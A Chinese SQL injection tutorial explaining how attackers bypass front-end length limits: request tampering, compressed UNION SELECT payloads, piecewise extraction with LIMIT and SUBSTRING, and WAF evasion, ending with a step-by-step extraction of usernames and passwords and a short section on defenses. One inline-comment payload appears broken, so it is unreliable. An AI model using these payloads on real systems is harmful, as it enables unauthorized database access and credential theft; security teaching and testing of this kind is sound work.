在前端进行输入长度限制,比如把用户名框的maxlength设为20,是很多开发者认为简单有效的防注入手段。但在SQL注入实战中,这种客户端限制形同虚设。攻击者只需拦截并篡改提交到服务器的数据包,就能绕过所有前端校验,向数据库注入任意长度的恶意载荷。联合查询注入通常需要构造较长的语句来探测列数、获取表名和字段名,如果后端没有做严格限制,绕过前端长度限制后,攻击面会完全暴露。

前端长度限制的本质与绕过原理

HTML层面的maxlength属性或JavaScript的input事件校验,都运行在浏览器端。HTTP请求一旦发出,服务器接收到的参数值完全由请求体决定。使用浏览器开发者工具的“网络”面板,可以找到提交请求并选择“编辑并重发”,直接修改参数值。更高效的方式是用Burp Suite或类似抓包工具拦截请求,在Proxy模块中修改POST数据或GET参数,然后放行。这个过程完全绕过了所有前端JS校验和HTML属性限制,服务器看到的参数长度只取决于攻击者修改后的数据包。

还有一种情况是后端虽然做了长度校验,但校验逻辑存在缺陷。例如某些应用只在某个中间层校验了参数长度,而底层拼接SQL时使用了另一个未校验的参数副本。或者应用使用了多步处理流程,第一步校验长度,第二步却从缓存或会话中读取原始输入。这些逻辑漏洞同样能让攻击者绕过长度限制,将完整的联合查询注入载荷送达数据库。

联合查询注入需要突破的长度瓶颈

一个典型的联合查询注入载荷结构如下:

' UNION SELECT 1,2,3,4,5 FROM information_schema.tables WHERE table_schema=database()-- 

这还只是探测列数的阶段。当需要获取所有表名时,可能会用到group_concat()函数,将多行结果拼接成一个字符串返回。假设目标数据库有50个表,每个表名平均15个字符,仅表名数据就需要约800字节。再加上函数本身、字段名、条件语句,整个注入参数很容易超过2000字节。如果前端限制用户名为20个字符,攻击者必须确保整个载荷都能塞进绕过后的参数中。

载荷精简技巧:用最少字符完成查询

绕过长度限制后,并不意味着可以无限制地发送超长数据。某些服务器层面(如Web Server或WAF)可能仍有默认的请求体大小限制,或者过长的参数会触发异常日志导致暴露。因此,精简注入载荷本身就是一项重要技术。

精简的核心思路是:用数据库的内置函数和别名机制缩短语句。例如,在MySQL中,可以用database()的别名来减少重复书写。将information_schema.tables替换为简写形式在某些数据库版本中不可行,但可以通过变量赋值来缩短后续引用。例如:

' UNION SELECT 1,2,3,4,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()-- 

可以优化为使用子查询和变量,但更直接的方法是利用数据库的默认表。比如MySQL中,information_schema.tables可以写成"information_schema"."tables",虽然字符数没减少,但在某些WAF绕过场景下有用。真正减少字符的方法是使用MySQL的预定义变量:

' UNION SELECT 1,2,3,4,GROUP_CONCAT(table_name) FROM mysql.innodb_table_stats WHERE database_name=schema()-- 

mysql.innodb_table_stats表在MySQL 5.6及以上版本中存在,存储了所有数据库的表名。使用schema()函数代替database()可以节省2个字符。虽然节省有限,但在极端长度限制下,每一个字符都值得争取。

分段注入:化整为零绕过长度限制

如果服务器对单个参数的长度有硬性限制,且无法通过修改数据包完全绕过(例如后端确实有严格的参数长度校验),分段注入是一种有效策略。其原理是将一次完整的联合查询拆分为多次请求,每次获取一部分数据,最终在攻击者本地拼接还原。

利用LIMIT和OFFSET子句可以逐行获取数据。例如,先获取第一张表名:

' UNION SELECT 1,2,3,4,table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1-- 

然后修改OFFSET获取第二张:

' UNION SELECT 1,2,3,4,table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1-- 

这种方式每次只返回一个表名,载荷长度大幅缩短。但需要发送大量请求,且要求页面能将结果回显到攻击者可读取的位置。如果目标有速率限制或WAF,需要控制请求频率。

更高效的分段方式是利用SUBSTRING函数,对GROUP_CONCAT的结果进行截取。先获取拼接后字符串的前20个字符,再获取后续部分:

' UNION SELECT 1,2,3,4,SUBSTRING(GROUP_CONCAT(table_name),1,20) FROM information_schema.tables WHERE table_schema=database()-- 

第二次请求将起始位置改为21:

' UNION SELECT 1,2,3,4,SUBSTRING(GROUP_CONCAT(table_name),21,20) FROM information_schema.tables WHERE table_schema=database()-- 

这种方法用较少的请求次数就能获取完整数据,但需要处理字符截断问题,避免在多字节字符(如UTF-8编码的中文表名)中间切断导致乱码。

利用数据库特性进一步压缩载荷

不同数据库提供了独特的函数和语法,可以用来缩短注入语句。在MySQL中,使用反引号包裹标识符不是必须的,可以省略以节省字符。在MSSQL中,可以用sys.objects代替information_schema.tables,字符更短。在Oracle中,可以用UNION SELECT NULL,NULL FROM dual这种最小化语句来探测列数。

MySQL中的exp()函数在特定版本下可以用于报错注入,但联合查询场景下,重点在于用最少字符表达SELECT语句。一个实用技巧是利用MySQL的列名通配符特性:如果已知目标表有5列,且回显位置在第2和第4列,可以直接用数字填充其他位置,无需写复杂的NULL或空字符串。例如:

' UNION SELECT 1,table_name,3,column_name,5 FROM information_schema.columns WHERE table_schema=database() LIMIT 0,1-- 

这里1、3、5只是占位数字,比NULL短,且不需要引号。

另一个技巧是使用MySQL的十六进制字符串表示法。当需要在注入中插入字符串时,可以用0x加十六进制编码代替带引号的字符串。例如,'admin'可以写成0x61646d696e,节省了两个引号字符。在需要引用已知字符串的场景下,这种方法能有效缩短载荷。

绕过WAF对长载荷的检测

当攻击者绕过前端长度限制发送超长载荷时,往往会触发WAF的规则。WAF通常对参数长度有阈值检测,超过一定长度的参数会被标记为可疑。为了应对这种检测,可以结合注释符和内联注释来混淆载荷。

MySQL允许在关键字中间插入内联注释,例如:

' UNION//SELECT//1,2,3,4,5-- 

这种写法不仅能绕过一些基于关键字匹配的WAF规则,还能在视觉上增加长度,但实际有效载荷长度不变。更高级的做法是利用MySQL的浮点数科学计数法,将数字替换为等价表达式,例如1e0等于1,2e0等于2。虽然这会增加字符数,但在某些WAF规则下,纯数字的SELECT 1,2,3容易被识别,而SELECT 1e0,2e0,3e0则可能绕过。

如果WAF对参数长度有硬性截断,比如超过200字符直接丢弃请求,那么分段注入就成了唯一选择。此时需要确保每个分段请求的载荷都低于WAF的长度阈值,同时还要避免频率过高触发CC攻击规则。

后端代码层面的防御与攻击面的对应关系

理解后端如何处理参数长度,对于精准绕过至关重要。常见的情况是后端使用了框架的参数绑定,但开发者在绑定前手动进行了长度截取。例如PHP代码:

$username = substr($_POST['username'], 0, 20);
$sql = "SELECT * FROM users WHERE username='$username'";

这种情况下,即使攻击者发送了超长参数,substr函数会将输入截断为20个字符,注入载荷必须在这20个字符内完成。但很多开发者会先进行SQL拼接,再截取,或者在截取后没有正确处理多字节字符,导致截断位置出现编码问题。攻击者可以利用这些疏忽,在截断边界插入特殊字符破坏SQL语法结构。

更常见的是,后端根本没有做长度校验,完全依赖前端的maxlength属性。这种情况下,攻击者可以发送任意长度的载荷,唯一需要担心的是数据库字段本身的长度限制。例如username字段在数据库中是VARCHAR(30),那么即使攻击者发送了100个字符的载荷,数据库也会截断存储。但SQL注入发生在查询执行阶段,参数在拼接时就已经完整参与了SQL语句的构造,数据库字段长度限制是在写入时才生效,对注入本身没有防护作用。

实战中的完整绕过流程

假设一个登录表单,用户名输入框有maxlength="20"限制。攻击者输入一个单引号测试,发现页面报错或返回异常,确认存在注入点。接下来使用抓包工具拦截登录请求,在POST数据中将username参数的值修改为:

' UNION SELECT 1,2,3,4,5-- 

发送后观察页面回显,发现数字3和4出现在页面内容中,说明第3和第4列是回显位置。然后修改username为:

' UNION SELECT 1,2,database(),user(),5-- 

获取当前数据库名和用户名。接着获取表名,由于回显位置只有两个,需要使用GROUP_CONCAT:

' UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5 FROM information_schema.tables WHERE table_schema=database()-- 

如果这个载荷长度超过了服务器端的某个限制,攻击者会收到不完整的回显或错误信息。此时改用分段注入,先获取表名的前20个字符:

' UNION SELECT 1,2,SUBSTRING(GROUP_CONCAT(table_name),1,20),4,5 FROM information_schema.tables WHERE table_schema=database()-- 

然后逐步增加SUBSTRING的起始位置,直到获取所有表名。选定目标表后,用同样的方法获取列名:

' UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5 FROM information_schema.columns WHERE table_name='users'-- 

最后提取敏感数据,同样可以用SUBSTRING分段获取:

' UNION SELECT 1,2,SUBSTRING(GROUP_CONCAT(username,0x3a,password),1,20),4,5 FROM users-- 

整个过程中,前端长度限制完全没有起到任何阻碍作用,攻击者通过修改数据包完全控制了参数内容。

开发者应如何正确防御

前端长度限制只能作为用户体验优化手段,不能作为安全措施。真正的防御必须在服务端实现。第一,使用参数化查询或预编译语句,让用户输入永远不会被当作SQL代码执行。这是根本性的解决方案,无论攻击者发送多长的恶意载荷,数据库都会将其视为普通字符串值。第二,如果必须动态拼接SQL(例如动态表名或排序字段),应使用白名单校验,确保输入值严格匹配允许的选项。第三,在服务端对输入长度进行合理限制,但这个限制应该基于业务需求(如用户名不超过30个字符),而不是为了防注入。第四,部署WAF并配置合理的参数长度阈值,对超长请求进行告警或阻断,但要意识到WAF可以被绕过,不能替代代码层面的安全措施。

对于安全测试人员而言,绕过前端长度限制只是SQL注入攻击的入门步骤。真正的挑战在于在有限的有效载荷空间内构造出能够完整获取数据的注入语句,同时应对WAF、后端校验和数据库特性的多重限制。掌握载荷精简、分段注入和数据库特性利用这三项技术,能够在绝大多数场景下突破长度瓶颈,完成数据提取。